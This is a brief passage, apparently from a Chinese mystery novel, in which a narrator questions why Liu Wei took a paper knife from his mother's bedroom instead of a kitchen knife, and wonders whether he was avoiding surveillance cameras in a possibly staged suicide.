那便是关于裁纸刀的位置。
如果刘蔚打定主意要喝安眠药割腕,为什么不一次性在厨房把刀和果汁都拿走?明明刀具就在冰箱旁边,顺手的事,他为什么特地去母亲卧室里找一把裁纸刀呢?
就好像担心会被监控拍到一样。